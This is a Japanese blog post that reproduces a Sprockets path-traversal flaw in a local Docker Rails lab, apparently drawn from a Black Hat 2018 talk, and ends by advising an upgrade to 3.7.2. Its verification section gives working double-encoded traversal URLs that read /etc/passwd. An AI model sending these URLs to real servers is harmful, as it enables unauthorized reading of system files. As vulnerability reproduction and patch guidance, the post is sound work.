Breaking Parser Logic!というblack hat usa 2018のpdfを眺めていたら、railsという文字が見えたので、そこだけ再現確認してみました
実際には、sprocketsの脆弱性らしい
なお、先のpdfは、railsがメインではないです
サーバー毎にチェックが違っていて、reverse proxyの時に迂回していく話とか、読んでいてためになるので、おすすめです。
環境構築
FROM ruby:alpine
WORKDIR /myapp
COPY Gemfile .
RUN apk upgrade --no-cache && \
apk add --update --no-cache \
postgresql-client \
nodejs \
tzdata \
vim \
ngrep
RUN apk add --update --no-cache --virtual=build-dependencies \
build-base \
curl-dev \
linux-headers \
libxml2-dev \
libxslt-dev \
postgresql-dev \
sqlite-dev \
ruby-dev \
yaml-dev \
zlib-dev
RUN gem install bundler && \
bundle update -j4
source "https://rubygems.org/"
gem "pry"
gem "rails"
gem "sqlite3"
gem "puma"
group :development do
gem "brakeman"
end
image作成から、コンテナ起動
docker build --no-cache --rm --tag rails .
docker images
docker run -it -p 3000:3000 imageのID /bin/sh
bundle exec rails new blog && cd blog
echo "gem 'sprockets', '3.7.1'" >> Gemfile
bundle update
bundle exec rails server
途中でめんどくさくなったので、Dockerfileをはじめ、色々と手抜きで変ですが、動作確認に影響はないため、今回はスルーします。
検証
以下にアクセスして、アプリのパスを確認する
http://127.0.0.1:3000/assets/file:%2f%2f/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
あとは、最初のURLの間に、アプリの場所を指定してアクセスする
http://127.0.0.1:3000/assets/file:%2f%2f/myapp/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
- 「myapp/blog/app/assets/images/」がくっつけた部分
sprockets 3.7.2にして同様のことをすると、forbiddenと返される
なお、assets.compile=falseの環境(productionのdefault設定)だと、下記のような画面になる
(起動時にbundle exec rails server -e production
)
まとめ
- 確かにディレクトリトラバーサルが起きる
- production環境のようなassets.compile=falseでは発生しないので、一般的には影響はなさそう
- どちらにしろ、3.7.2では発生しないので、updateしておけばOK!!